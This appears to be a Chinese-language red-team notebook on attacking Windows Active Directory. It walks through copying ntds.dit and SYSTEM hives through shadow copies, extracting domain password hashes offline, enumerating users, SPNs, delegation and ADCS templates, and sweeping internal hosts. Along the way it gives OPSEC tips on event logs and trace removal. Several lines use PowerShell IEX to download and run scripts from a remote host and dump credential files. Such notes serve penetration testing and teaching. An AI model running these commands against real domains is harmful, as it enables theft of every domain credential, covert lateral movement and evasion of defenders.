而看到 LM hash aad3b435b51404eeaad3b435b51404ee 现在禁用了 LM hash 仅做占位用,NT hash 是 31d6cfe0d16ae931b73c59d7e0c089c0,说明这个账户没有启用(比如现在 Windows 安装完都会让你新建一个 Administrator 组内的用户,默认的 Administrator 账户会被禁用),也是占位用。

Active Directory 数据库账户哈希获取

域控制器数据库在安装时默认位置是 %SystemRoot%\NTDS\ntds.dit,此文件存放着所有域用户密码哈希。不在默认位置可以查询注册表来定位。

reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters /v "DSA Database file"

在获得域管理员账户后可以导出此数据库里所有域账户信息,拿下整个域内机器登录权。

ntds.dit 使用 %SystemRoot%\System32\config\SYSTEM 注册表配置中的密钥加密过,无法直接读取。和 SAM 数据库一样,ntds.dit 也是使用中无法直接复制出副本,这里介绍四种副本获取方法:

  • Volume Shadow Copy Service (VSS) 获取数据库
  • VssAdmin 获取数据库
  • VShadow 获取数据库
  • NinjaCopy 获取数据库

获得副本库后可以使用以下四种方法去获取其哈希:

  • QuarkPwDump 解密数据库
  • Secretsdump 解密数据库
  • NtdsAudit 解密数据库
  • Mimikatz 解密数据库

一、Volume Shadow Copy Service (VSS) 获取数据库

由于不能这俩文件被对应程序占用无法读取复制出来。

使用 Ntdsutil 创建备份获取其文件。

此工具在 Windows Server 2003、2008、2012 上默认存在。

1.获取历史快照

如果有历史快照看能不能获取历史数据信息。

// 查看历史快照
ntdsutil snapshot "List All" quit quit

// 查看现有挂载信息
ntdsutil snapshot "List Mounted" quit quit

2.新建实时快照

ntdsutil snapshot "activate instance ntds" create quit quit

OPSEC:执行后日志系统 System 类别产生 Event ID 98 的日志。

3.挂载快照复制数据

// 挂载快照。{GUID} 是快照创建完的 ID。
ntdsutil snapshot "mount {GUID}" quit quit

// 复制数据库。$SNAP_XXXX 是挂载完快照显示的目录名称。
copy C:\$SNAP_XXXX_VOLUME$\Windows\NTDS\ntds.dit C:\ntds.dit

4.取消挂载并删除快照

// 取消挂载
ntdsutil snapshot "unmount {GUID}" quit quit

// 删除快照
ntdsutil snapshot "del {GUID}" quit quit

上面手动操作比较麻烦,只是为了理解步骤,实际中可以一键完成创建快照、自动挂载、拷贝数据、取消挂载、删除快照这几个步骤,下面就是自动化将备份复制到到 C:\datas 目录中,如果目录不存在会自动创建。

NTDSUTIL "Activate Instance NTDS" "IFM" "Create Full C:\datas" "q" "q"

C:\Users\Administrator>NTDSUTIL "Activate Instance NTDS" "IFM" "Create Full C:\datas" "q" "q"
NTDSUTIL: Activate Instance NTDS
活动实例设置为“NTDS”。
NTDSUTIL: IFM
ifm: Create Full C:\datas
正在创建快照...
成功生成快照集 {3bcdef71-51fa-4c71-bb44-614640f034c9}。
快照 {0486729b-5e21-4b01-aaa9-41a6874b4e10} 已作为 C:\$SNAP_202502211419_VOLUMEC$\ 装载
已装载快照 {0486729b-5e21-4b01-aaa9-41a6874b4e10}。
正在启动碎片整理模式...
     源数据库: C:\$SNAP_202502211419_VOLUMEC$\Windows\NTDS\ntds.dit
     目标数据库: C:\datas\Active Directory\ntds.dit

                  Defragmentation  Status (omplete)

          0    10   20   30   40   50   60   70   80   90  100
          |----|----|----|----|----|----|----|----|----|----|
          ...................................................

正在复制注册表文件...
正在复制 C:\datas\registry\SYSTEM
正在复制 C:\datas\registry\SECURITY
快照 {0486729b-5e21-4b01-aaa9-41a6874b4e10} 已卸载。
在 C:\datas 中成功创建 IFM 媒体。
ifm: q
NTDSUTIL: q

C:\Users\Administrator>ntdsutil snapshot "List All" quit quit
ntdsutil: snapshot
快照: List All
找不到快照。
快照: quit
ntdsutil: quit

获取到的数据如下。后续可以将 ntds.dit 和 SYSTEM 拷贝出去,使用 impacket-Secretsdump 解密 ntds 数据库。

C:\Users\Administrator>tree /F C:\datas
文件夹 PATH 列表
卷序列号为 C69D-4CBF
C:\DATAS
├─Active Directory
│      ntds.dit
│      ntds.jfm
│
└─registry
        SECURITY
        SYSTEM

数据拷贝出去后不要忘了删除数据,避免留痕。

rd /s /q c:\datas

二、VssAdmin 获取数据库

也是默认域控自带软件。Windows 11 H2 中也存在。

1.查询已有快照

vssadmin list shadows

2.给 C 盘系统盘创建快照。默认系统盘不是 C 盘的需要指定具体盘符。

vssadmin create shadow /for=C:

3.获取 Shadow Copy Volume Name 和 Shadow Copy ID

Shadow Copy ID: <XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX>
Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10

4.复制快照内 \Windows\NTDS\ntds.dit 数据库

copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10\Windows\NTDS\ntds.dit C:\ntds.dit

或者管理员权限创建快捷方式访问。

// 创建将快照创建为 C:\tmpdata 快捷方式
mklink /d C:\tmpdata \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy10

// 删除快捷方式
rd C:\tmpdata

5.删除快照

根据盘符删除

vssadmin delete shadows /for=C: /quite

或填入 Shadow Copy ID 删除

vssadmin delete shadows /shadow=<XXXXXXXX-XXXX-XXXX-XXXX-XXXXXXXXXXXX> /quite

三、VShadow 获取数据库

需要通过 Visual Studio 下载 Windows Software Development Kit (SDK) 中提取出来,上传到目标机器执行。

1.查询当前快照

vshadow.exe -q

2.管理员权限创建快照

-p Persistent 备份操作,-nw no writers 提高创建速度,C: 是要备份的盘符。

vshadow.exe -p -nw C:

备份完获取 SnapshotSetID、SNAPSHOT ID、Shadow copy device name。

3.获取数据库文件和 SYSTEM

copy <Shadow copy device name>\Windows\NTDS\ntds.dit C:\ntds.dit

reg save HKLM\SYSTEM C:\system.hiv

4.删除快照

vshadow -dx=<SnapshotSetID>
vshadow -ds=<SNAPSHOT ID>

OPSEC:vshadow 执行后 System 类别产生 Event ID 7036 日志。

四、NinjaCopy 获取数据库

下载 NinjaCopy 上传到目标系统用法。

// 导入模块
Import-Module .\invoke-NinjaCopy.ps1

// 将 -Path 指定的文件导出到指定目录下。
Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination C:\SAM.hive
Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination C\SYSTEM.hive
Invoke-NinjaCopy -Path C:\Windows\NTDS\ntds.dit -LocalDestination "C:\ntds.dit"

Cobalt Strike Beacon powershell-import 和 powershell 可以简化上传步骤。

// 将本机 C:\Invoke-NinjaCpy.ps1 导入到目标环境。
beacon> powershell-import C:\Invoke-NinjaCpy.ps1
beacon> Invoke-NinjaCopy -Path C:\Windows\NTDS\ntds.dit -LocalDestination "C:\ntds.dit"

远程执行。

// 将脚本 HTTP 请求下载执行。
powershell.exe -exec bypass -nop -c "IEX((new-object net.webclient).downloadstring('http://<Host>/Invoke-NinjaCopy.ps1'))";Invoke-NinjaCopy -Path C:\Windows\System32\config\SAM -LocalDestination C:\SAM.hive;Invoke-NinjaCopy -Path C:\Windows\System32\config\SYSTEM -LocalDestination C\SYSTEM.hive;Invoke-NinjaCopy -Path C:\Windows\NTDS\ntds.dit -LocalDestination "C:\ntds.dit"

五、QuarkPwDump 解密数据库

QuarkPwDump

1.修复 ntds.dit

esentutl /p /o ntds.dit

2.获取哈希

输出哈希到文件 hashs.txt,不想落地文件可以删除 --output 选项,-ntds-file 是指定 ntds 数据库文件。

QuarksPwDump.exe --dump-hash-domain -outpu hashs.txt -ntds-file ntds.dit

六、impacket-Secretsdump 解密数据库

原始的 impacket 需要 Python 环境才能运行,安装库过于麻烦,所以使用 impacket-examples-windows 已经把对应脚本输出成 exe 可执行文件方便使用。

-system 指定 SYSTEM 文件,-ntds 指定 ntds 数据库文件。

secretsdump.exe -system system.hive -ntds ntds.dit LOCAL

七、NtdsAudit 解密数据库

NtdsAudit

-s 指定 SYSTEM 文件 -p 将结果输出,--users-cvs 输出到 csv 文件中。

NtdsAudit.exe "ntds.dit" -s "system.hive" -p pwdump.txt --users-cvs users.csv

1.1.6 自动化信息收集工具

市面上有一堆自动化工具:

  1. MSF Meterpreter 综合信息收集

    run scraper
    run winenum
  2. Seatbelt DotNet 程序收集
  3. WinPEAS
  4. linPEAS
  5. SharpUp
  6. WES-NG
  7. searchall
  8. PrivescCheck
  9. LaZagne,专注系统、浏览器及各种软件凭证获取。

在使用这些工具的同时,也要了解他们会收集哪些项,因此上面都是手动收集的示例。

1.2 Active Directory 信息收集

侦察域之前应该先确定当前计算机有没加入域,简称定位域。

1.系统信息

Windows 下 systeminfo 命令查看系统信息,里面会有域名.

C:\Users\wuhui>systeminfo | findstr "域:"
域:               raingray.com

2.工作站网络配置

查看当前工作站网络信息,里面也有域名。

C:\Users\wuhui>net config workstation
计算机名                     \\DESKTOP-5T90749
计算机全名                   DESKTOP-5T90749.raingray.com
用户名                       wuhui

工作站正运行于
        NetBT_Tcpip_{01996863-CF14-43D9-AF29-C17885FC0239} (000C29E0E816)

软件版本                     Windows 10 Pro

工作站域                     RAINGRAY0
工作站域 DNS 名称            raingray.com
登录域                       DESKTOP-5T90749

COM 打开超时 (秒)            0
COM 发送计数 (字节)          16
COM 发送超时 (毫秒)          250
命令成功完成。

3.DNS记录

查询 example.com.cn 域的 DNS 中 SRV 记录,从记录结果来看给出了域控 IPv4 和 IPv6 地址及服务端口 389

C:\Users\test> nslookup -type=SRV _ldap._tcp.dc._msdcs.example.com.cn
DNS request timed out.
    timeout was 2 seconds.
服务器:UnKnown
Addresss:22.21.11.57

DNS request timed out.
    timeout was 2 seconds.
_ldap._tcp.dc._msdcs.<域名>    SRV service location:
          priority       = 0
          weight         = 100
          port           = 389
          svr hostname   = d-dhcpad-win01.example.com.cn
d-dhcpad-win01.example.com.cn  innernet address = 21.11.23.1
d-dhcpad-win01.example.com.cn  AAAA IPv6 address = 2002:1615:b39::1615:b39

有了域名后也可以直接查这个域名的 A 记录,通常也是域控。

nslookup <Domain>

4.端口服务

定位域控。可以看目标机器有没开放 TCP 端口为 389、88 的 LDAP、Kerberos 认证服务,TCP 和 UDP 464 端口的 Kerberos 密码修改服务。

cmd,成功自动进入命令输入界面,失败则提示链接失败

telnet <IP> 389
telnet <IP> 88
telnet <IP> 464

powershell,成功返回 True,失败返回 False。

Test-NetConnection -ComputerName <IP> -Port 88 -InformationLevel Quite

5.LDAP 查 domain controllers 组中域控机器主机名

C:\Users\test> net group "domain controllers" /domain
这项请求将在域 example.com.cn 的域控制器处理。

组名     Domain Controllers
注释     域中所有域控制器

成员
-------------------------------------------------------------------------------
D-DHCPAD-WIN01$
命令成功完成。

5.SPN

域控计算机一定会被设置 SPN,可以扫描设置了 spn 的主机。

C:\Users\test> setspn -T <Domain> -Q */* | find "Domain Controllers"
CN=D-DHCPAD-WIN10,OU=Domain Controllers,DC=example,DC=com,DC=cn
^C^C

返回的 CN=D-DHCPAD-WIN10 是主机名,对应 OU 是 OU=Domain Controllers,域名是 DC=example,DC=com,DC=cn example.com.cn。

6.查看指定域内域控制器的主机名

C:\Users\test> nltest /DCLIST:example.com.cn
获得域“example.com.cn”中 DC 的列表(从“\\D-DHCPAD-WIN01.example.com.cn”中)。
    D-DHCPAD-WIN01.example.com.cn [PDC]  [DS] 站点:Default-First-Site-Name
此命令成功完成

7.网络配置

有时域内域控和 DNS 装一台服务器上,可以看看 DNS 的 IP 地址结合域名解析地址来确定是不是域控

当前加入域后,通过查询网络配置自动能返回 DNS 后缀搜索列表 域名。

ipconfig

8.向域控同步时间,返回域控主机全限定名

// 向域控同步时间找到域控
C:\Users\test> net time /domain
\\D-DHCPAD-WIN01.example.com.cn 的当前时间是 2024/8/22 19:04:14

命令成功完成

9.第三方工具 netdom

netdom 是一个管理域控的工具,需要自己传到目标机器上运行,仅限 Win2008 及以后系统能够用。

netdom query pdc

10.机器账户

一台机器加入域后会自动创建机器账户,当前只拿到了这台机器的本地用户权限是没法获取到域中的信息的。

C:\Users\wuhui\Desktop>net user /do
这项请求将在域 raingray.com 的域控制器处理。

发生系统错误 5。

拒绝访问。

只要将当前用户提到 system 权限,就能以机器账户获取域中的信息。有了 Administrator 权限的话,最简单的提权方式是用 PsExec 来连接自己获取 system 权限。

C:\Users\wuhui\Desktop>PsExec64.exe -accepteula \\localhost -s cmd

PsExec v2.43 - Execute processes remotely
Copyright (C) 2001-2023 Mark Russinovich
Sysinternals - www.sysinternals.com


Microsoft Windows [版本 10.0.19045.3693]
(c) Microsoft Corporation。保留所有权利。

C:\Windows\system32>whoami
nt authority\system

C:\Windows\system32>net user /do
这项请求将在域 raingray.com 的域控制器处理。


\\DC-BEIJING-01.raingray.com 的用户帐户

-------------------------------------------------------------------------------
Administrator            Guest                    krbtgt
svc-joindomain           wusilin                  zhangqi
命令运行完毕,但发生一个或多个错误。

PS:域内信息收集的选项 /domain 可以缩写 /do,比如 net user /domain 可以缩写成 net user /do

1.2.1 用户

1.用户信息

使用命令提示符查询。

获取域内用户信息

// 查看当前域内所有账号
net user /domain

// 查看当前域内用户名为 username 的信息
net user username /domain

定位域内用户组信息

// 查询当前域内所有用户组。
net group /domain

// 查询当前域 Computers 组内计算机列表
net group "domain Computers" /domain

// 查询 domainanme 域内所有机器
net view /domain:domainname

// 查询域企业管理员 Admins 用户组内用户。
net group "Enterprise Admins" /domain

// 查询域管理员 Admins 用户组内用户。就是域管账户。
net group "Admins" /domain

// 查看域密码策略。可以根据策略来喷洒密码
net accounts /domain

// 登录本机的域管理员
net localgroup Administrators /domain

使用 PowerShell 查询

获取域账户信息。

PS C:\Users\Administrator> Get-ADUser  -Filter *

DistinguishedName : CN=wuhui,OU=信息科技部,DC=raingray,DC=com
Enabled           : True
GivenName         : hui
Name              : wuhui
ObjectClass       : user
ObjectGUID        : 4974a2e4-856c-424f-b37c-c9119675867b
SamAccountName    : wuhui
SID               : S-1-5-21-247606177-2237963610-2667746150-1114
Surname           : wu
UserPrincipalName : wuhui@raingray.com

这里使用 DistinguishedName 用于标识用户位置,由 DC,OU,CN 这些字段组成,DC 说明了是什么域 raingray.com,OU 说在哪个组织单元里,CN 就是公共名称(Common Name)。

在搜索时就可以用这些字段作为条件搜索用户。

PS C:\Users\Administrator> Get-ADUser -Filter * -SearchBase "OU=信息科技部,DC=RAINGRAY,DC=COM"


DistinguishedName : CN=wuhui,OU=信息科技部,DC=raingray,DC=com
Enabled           : True
GivenName         : hui555
Name              : wuhui
ObjectClass       : user
ObjectGUID        : 4974a2e4-856c-424f-b37c-c9119675867b
SamAccountName    : wuhui
SID               : S-1-5-21-247606177-2237963610-2667746150-1114
Surname           : wu111
UserPrincipalName : wuhui@raingray.com

使用 PowerShell 便携的 PowerView 脚本查询

获取当前域所有用户详情信息。

Get-NetUser

获取指定域所有用户详情信息。

Get-NetUser -domain <domain name>

获取当前域指定用户详情信息。

Get-NetUser -Identity <username>

获取指定域的用户名。

Get-NetUser -domain <domain name> | Select samaccountname

2.用户描述信息

直接查询详细信息,输出内容较多,可以用管道符配合 select 获取输出对象指定属性(属性名称通过输出结果来看),这里只获取用户名和描述信息。这些信息都是管理员手动添加上去的,看描述方便定位有价值的用户

# 所有用户
Get-NetUser | Select samaccountname, description

# 指定用户
Get-NetUser -Identity <username> | Select samaccountname, description

3.PreAuthentication

涉及 Kerberos Authentication 内容,默认创建用户不会开启“禁用预认证”选项。

禁用预认证.png

如果开启就能使用这条命令,查询出当前域对应用户。

Get-NetUser -PreAuthNotRequired | Select samaccountname

同样也可以指定查询其他域

Get-NetUser -PreAuthNotRequired -Domain <Domain Name> | Select SamAccountName

开启了可以使用 AS-REP Roasting 攻击。

4.SPN

查询启用了 SPN 的用户名,开启后可以使用 Kerberoasting 攻击,得到 krb5tgs,离线破解。

Get-NetUser -SPN | Select samaccountname

查询指定域开启了 SPN 的用户。

Get-NetUser -SPN -domain <Domain Name>| Select samaccountname

或者使用 Windows 自带的 setspn 查询 SPN。

// 查询当前域所有 SPN
setspn -Q */*

// 查询指定域所有 SPN
setspn -T <Domain Name> -Q */*

这里 CN 打头的都是具体对象,而缩进内容是 SPN。主要关注 CN=Users,只发现 krbtgt 用户设置了 SPN,其余的都是域控计算机。

PS C:\Users\bunny> setspn.exe -Q */*
正在检查域 DC=whoamianony,DC=org
CN=DC,OU=Domain Controllers,DC=whoamianony,DC=org
        TERMSRV/DC
        TERMSRV/DC.whoamianony.org
        Dfsr-12F9A27C-BF97-4787-9364-D31B6C55EB04/DC.whoamianony.org
        ldap/DC.whoamianony.org/ForestDnsZones.whoamianony.org
        ldap/DC.whoamianony.org/DomainDnsZones.whoamianony.org
        DNS/DC.whoamianony.org
        GC/DC.whoamianony.org/whoamianony.org
        RestrictedKrbHost/DC.whoamianony.org
        RestrictedKrbHost/DC
        RPC/01982af1-1153-4ddc-b024-9a35fd66b0af._msdcs.whoamianony.org
        HOST/DC/WHOAMIANONY
        HOST/DC.whoamianony.org/WHOAMIANONY
        HOST/DC
        HOST/DC.whoamianony.org
        HOST/DC.whoamianony.org/whoamianony.org
        E3514235-4B06-11D1-AB04-00C04FC2DCD2/01982af1-1153-4ddc-b024-9a35fd66b0af/whoamianony.org
        ldap/DC/WHOAMIANONY
        ldap/01982af1-1153-4ddc-b024-9a35fd66b0af._msdcs.whoamianony.org
        ldap/DC.whoamianony.org/WHOAMIANONY
        ldap/DC
        ldap/DC.whoamianony.org
        ldap/DC.whoamianony.org/whoamianony.org
CN=krbtgt,CN=Users,DC=whoamianony,DC=org
        kadmin/changepw
CN=PC2,CN=Computers,DC=whoamianony,DC=org
        TERMSRV/PC2
        TERMSRV/PC2.whoamianony.org
        RestrictedKrbHost/PC2.whoamianony.org
        HOST/PC2.whoamianony.org
        RestrictedKrbHost/PC2
        HOST/PC2

发现存在 SPN!

为什么不枚举机器 SPN?

对于破解出的明文口令,只有域用户帐户(Users)的口令存在价值,不必考虑机器帐户的口令(无法用于远程连接)

域渗透——Kerberoasting (3gstudent.github.io)

5.属组

查询用户属于哪个组。

Get-NetUser | Select samaccountname, memberof

6.外部用户⚒️

没搞懂外部用户是啥。

Get-DomainForeignUser

1.2.2 组信息

1.组描述信息

查看当前域所有组详细信息

Get-NetGroup

Get-DomainGroup

查询指定域内所有组详细信息

Get-NetGroup -domain <domain name>

查看指定组详细信息

Get-NetGroup -Identity <Group Name>

Get-DomainGroup -Identity <Group Name>

查看所有组描述信息,顺带关注有没管理员自己创建的组。

Get-NetGroup | Select samaccountname, description

2.组成员信息

查询当前域内指定组中有哪些成员。

Get-NetGroupMember -Identity <Group Name> -Recurse

Get-DomainGroupMember -Identity <Group Name> -Recurse

查询指定域域内指定组中有哪些成员。

Get-NetGroupMember -Domain <Domain Name> -Identity <group name> -Recurse

可以指定详细信息,这里获取当前域内指定组成员信息,包含域名、组名、组成员名、组成员类型。

Get-NetGroupMember -Identity <group name> -Recurse | Select groupdomain, groupname, membername, memberobjectclass

3.外部组⚒️

和外部用户一样,搞不懂啥意思。

Get-DomainForeignGroupMember

1.2.3 主机信息

查询当前域内主机 FQDN 和系统类型及版本信息。

Get-NetComputer | Select dnshostname, operatingsystem, operatingsystemversion

查询其他域主机(需要有域信任) FQDN 和系统类型及版本信息。

Get-NetComputer -domain <domain name> | Select dnshostname, operatingsystem, operatingsystemversion

IP 则需要自己解析。或者用 dnsx 解析器批量操作。

nslookup <FQDN> [DNS Server]

1.2.4 组织单元

查看当前域有哪些 OU,并展示所有 OU 详细信息。

Get-DomainOU

嫌详细信息太多,也可以只是展示名字。

Get-DomainOU -Properties Name

最后只展示指定 OU 详情。

Get-DomainOU -Identity <OU Name>

1.2.5 Kerberos 委派

1.非约束委派⚒️

被设置委派的对象 userAccountControl 属性值会新增 TRUSTED_FOR_DELEGATION。因此可以使用 LDAP 过滤器来查询,下面 PowerView 的 -Unconstrained 就是这么做的。

(userAccountControl:1.2.840.113556.1.4.803:=524288)

看当前域那台计算机被设置非约束委派。

Get-NetComputer -Unconstrained | select dnshostname

看指定域那台计算机被设置非约束委派。

Get-NetComputer -Unconstrained -Domain <DomainName> | select dnshostname

需要补充用户设置非约束委派的查询

2.约束委派

哪台计算机设置了约束委派。

Get-NetComputer -TrustedToAuth

哪个用户设置了约束委派。

Get-NetUser -TrustedToAuth

3.基于资源的约束委派

使用 adPEAS 枚举。

Invoke-adPEAS [-Domain <DomainName>] -Module Delegation

1.2.6 组策略⚒️

详细展示当前机器应用了哪些 GPO。

Get-DomainGPO -Properties DisplayName

查询指定机器应用的 GPO。

Get-DomainGPO -Properties DisplayName -ComputerIdentity <Computer Name>

查询指定 GPO 详情。

Get-DomainGPO -Identity <GPO Name>

还可以筛属性,查看指定 OU 应用了哪些组策略(GPO)

Get-DomainOU -Identity <OU Name> -Properties gplink

也可以反查 GPO 应用在哪些 OU。

Get-DomainOU -gpLink <GPO ID>

需要补充:Group Policy Preferences (GPP),里面存放着密码呢。https://www.mindpointgroup.com/blog/privilege-escalation-via-group-policy-preferences-gpp

1.2.7 其他自动化侦察工具⚒️

使用工具时按需运行,不要默认运行全部模块,流量大容易被发现。

1.SharpView

tevora-threat/SharpView: C# implementation of harmj0y's PowerView (github.com)

使用 C Sharp 对 PowerView 重新实现。

2.SharpHound

图形化:BloodHoundAD/BloodHound: Six Degrees of Domain Admin (github.com)

客户端信息收集工具:BloodHoundAD/SharpHound: C# Data Collector for BloodHound (github.com)

自动化信息收集,使用图形方式展示域内信息。

3.ADRecon

adrecon/ADRecon: ADRecon is a tool which gathers information about the Active Directory and generates a report which can provide a holistic picture of the current state of the target AD environment. (github.com)

4.adPEAS

61106960/adPEAS: Powershell tool to automate Active Directory enumeration. (github.com)

5.CrackMapExec

Porchetta-Industries/CrackMapExec: A swiss army knife for pentesting networks (github.com)

Installation for Windows - CrackMapExec ~ CME WIKI (porchetta.industries)

6.AdFind

AdFind (joeware.net)

7.dsquery

dsquery,默认只有域控上有,可以手动上传一个到机器上使用。

// 查看域内所有机器
dsquery computer

// 查看当前域中所有账户名
dsquery user

// 查看当前域中所有组名
dsquery group

// 查看当前域所处网段信息,可以结合 nbtscan 扫描。
dsquery subnet

// 查看域内所有 Web 站点
dsquery site

// 查看当前域中的服务器主机名
dsquery server

// 查询前 240 个以 admin 开头的用户名
dsquery user domainroot -name admin* -limit 240

1.2.8 DACL

可所有 DACL。

Get-DomainObjectAcl

主要关注返回对象三个属性:

  • ActiveDirectoryRights,权限
  • ObjectDN,用户名、组、域
    ObjectSID 用户或组 SID
  • SecurityIdentifier,用户 SID

这样能知道 SecurityIdentifier 用户或组对目标 ObjectSID 对应的 ObjectDN 用户或组拥有些权限,这个权限写在 ActiveDirectoryRights 内。

查看指定对象 ACL,看看哪些用户或组有权限操作它。

Get-DomainObjectAcl -Identity <UserName | GroupName | *> -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Select Identity,AceType,ObjectCN,ActiveDirectorys | findstr '\'

查看当前用户对哪些对象有权限操作。

Get-DomainUser | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_}} | Select Identity,AceType,ActiveDirectoryRights,ObjectDN

查看指定用户对哪些对象有权限操作。

Get-DomainUser -Identity <UserName> | Get-ObjectAcl -ResolveGUIDs | Foreach-Object {$_ | Add-Member -NotePropertyName Identity -NotePropertyValue (ConvertFrom-SID $_.SecurityIdentifier.value) -Force; $_} | Foreach-Object {if ($_.Identity -eq $("$env:UserDomain\$env:Username")) {$_}} | Select Identity,AceType,ActiveDirectoryRights,ObjectDN

1.2.9 域信任

域信任关系查询。

Get-DomainTrust

nltest

nltest /domain_trusts

1.2.10 ADCS

1.枚举服务

Certify 枚举。

// 扫描当前域
certify.exe cas

// 扫描指定域
certify.exe cas /domain:<Domain Name>

如果安装了 ”证书颁发机构 Web 注册(Certification Authority Web Enrollment)“,就可以直接扫描 IIS 提供的 HTTP 服务,只要回显 401 就能确定存在服务。

http://<IP>:<Port>/certsrv/certfnsh.asp
https://<IP>:<Port>/certsrv/certfnsh.asp

2.脆弱模板

找出可能存在问题的证书模板。

// 查询当前域
certify.exe find /vulnerable

// 查找指定域
certify.exe find /vulnerable /domain:<Domain Name>

3.客户认证模板

certify.exe find /clientauth

certify.exe find /clientauth /domain:<Domain Name> 

2 内网主机存活探测及服务发现

通过据点信息收集,搜集到了诸多网段,需要快速确认网段内正在运行的主机,netspygogo 集成下文提到的诸多协议确认能够访问的主机,存活主机确认后用,需要开启服务扫描,这些步骤和外网做测试没有区别。

OPSEC:大型内网会有安全设备扫描动作可能触发告警,最好使用弱口令模拟成正常登录操作。

2.1 NetBIOS⚒️

nmap

nmap -sU -T4 --script nbstat.nes -p 137 10.10.10.0/24

msf

use auxiliary/scanner/netbios/nbname

nbtscan

nbtscan 192.168.1.0/24

2.2 SNMP⚒️

https://micro8.gitbook.io/micro8/contents-1/11-20/20-ji-yu-snmp-fa-xian-nei-wang-cun-huo-zhu-ji

2.3 ICMP

1.ping

扫 C 段主机,也可以将常见命令写个 bat 比如扫 C 段 + 获取 arp 表 + 系统信息

for /l %i in (1,1,255) do @ ping 192.168.124.%i -w 1 -n 1|find /i "ttl="

将结果输出到文件

@for /l %i in (1,1,255) do @ping -n 1 -w 40 10.10.10.%i & if errorlevel 1 (echo 10.10.10.%i>>c:\a.txt) else (echo 10.10.10.%i >>c:\b.txt)

2.nmap

nmap -sn -PE -T4 192.168.0.0/24

3.PowerShell

TSPingSweep.ps1 扫描脚本

powershell.exe -exec bypass -Command "Import-Module ./Invoke-TSPingSweep -StartAddress 192.168.1.1 -EndAddress 192.168.1.254 -ResolveHost -ScanPort Port 445,135"

powershell iex(new-object net.webclient).downloadstring("http://host:port/Invoke-TSPingSweep.ps1);Invoke-TSPingSweep -StartAddress 10.10.10.1 -EndAddress 10.10.10.254 -ResolveHost -ScanPort -Port 445, 135

如果不想传工具检查 Ping、TCP 是否通讯 PowerShell 的 cmdlet 好用 Test-NetConnection

PS C:\Users\gbb> # ICMP 测试
PS C:\Users\gbb> Test-NetConnection -ComputerName 13.107.4.52


ComputerName           : 13.107.4.52
RemoteAddress          : 13.107.4.52
InterfaceAlias         : WLAN
SourceAddress          : 172.20.10.2
PingSucceeded          : True
PingReplyDetails (RTT) : 186 ms

也可以跟命令提示符一样批量 Ping。运行后会在终端上打印当前 Ping 的结果,成功通讯返回 True,否则是 False,结果也会输出重定向到 E:\Desktop\icmp.txt 文件中。

PS E:\desktop> for ($i = 1; $i -le 254; $i++) {$ipAddr="13.107.4." + $i; $result=Test-NetConnection -ComputerName $ipAddr -InformationLevel Quiet; $realStatus=$ipAddr + "," + $result; echo $realStatus; echo $realStatus.Trim("`n") >> E:\\Desktop\\icmp.txt}
13.107.4.1,True
13.107.4.2,True
警告: Ping to 13.107.4.3 failed with status: TimedOut
13.107.4.3,False
警告: Ping to 13.107.4.4 failed with status: TimedOut
13.107.4.4,False
警告: Ping to 13.107.4.5 failed with status: TimedOut
13.107.4.5,False
警告: Ping to 13.107.4.6 failed with status: TimedOut
13.107.4.6,False
警告: Ping to 13.107.4.7 failed with status: TimedOut
13.107.4.7,False

2.4 ARP

nmap

nmap -sn -PR 192.168.1.1/24

msf

use auxliar/scanner/discovery/arp_sweep

arp-scan(linux)

arp-scan(win)

netdiscover

netdiscover -r 10.10.10.0/24 -i eth1

Invoke-ARPScan.ps1

powershell.exe -exec bypass -Command "import-Module .\arpscan.ps1;InvokeARPScan -CIDR 192.168.1.0/24"

2.5 SMB

nmap

nmap -sU -sS --script smb-enum-shares.nes -p 445 192.168.1.119

Crackmapexec,默认 100 线程

Crackmapexec smb 10.10.10.0/24

msf

use auxliar/scanner/smb/smb_version

2.6 端口扫描

2.6.1 TCP

MSF

// TCP SYN 扫描
use auxliar/scanner/portscan/syn

nishang

// 具体选项查看源码中注释使用。
powershell.exe iex(new-object net.webclient).downloadstring('http://host/Invoke-PortScan.ps1');Invoke-PortScan -StartAddress 10.10.10.1 -EndAddress 10.10.10.255 -ResolveHost -ScanPort

nc

// TCP SYN 扫描
nc -nvz <Host> <Port>[-Port]

telnet

telnet <Host> <Port>

2.6.2 UDP

nmap

nmap -sU -T4 -sV --max-retries 1 192.168.1.100 -p 500

msf

use auxliar/scanner/discovery/udp_probe
use auxliar/scanner/discovery/udp_sweep

nc

// UDP 扫描
nc –nvzu <Host> <Port>[-Port]

3 Active Directory 利用

有了存活主机后,也知道内网主机开放了哪些服务,需要通过当前据点快速打击内网其他机器接近目标,这就是横向移动,只是词好听些。和信息收集自动化一样,也有自动化利用的工具,fscan 集成了常见漏洞 POC,可以对存活主机自动化利用。

从这张章起,后面所有的内容都是都应利用内容,只有一个目的:“横向”。

第一次见 AD 域,需要离线从头搭建一个域环境实验室,把常用的功能使用一遍,以快速建立对域的基本认知和常见操作,最后才能够谈漏洞利用,利用上的学习最好是先原理、侦察、利用、修复这几部分展开。

3.1 Kerberos 认证过程🔨

活动目录中用到的身份认证就是 Kerberos 协议,它是 MIT 发明并实现的协议,目前使用的最新版本是 Kerberos V5,RFC 4120 描述了规范内容。微软是在 Windows Server 2003 版本开始提供 Kerberos 认证,在 Windows XP 和 Windows 2000 版本就能加入域,后续 Windows Server 版本中还根据自己的需求对 Kerberos 新增了功能。

客户端要想访问资源服务器,需要向域控 Key Distribution Center(KDC)TCP 88 端口发起认证、授权,KDC 有两个组件参与其中:

  1. Authentication Service(AS)
  2. Ticket Granting Server(TGS)

下面讲述客户端访问资源服务器的整个协议交互过程,主要分为用户认证和访问服务资源两部分内容。

AS-REQ/AS-REP 用户认证

一、向 AS 认证,证明自己是有效的域账户。

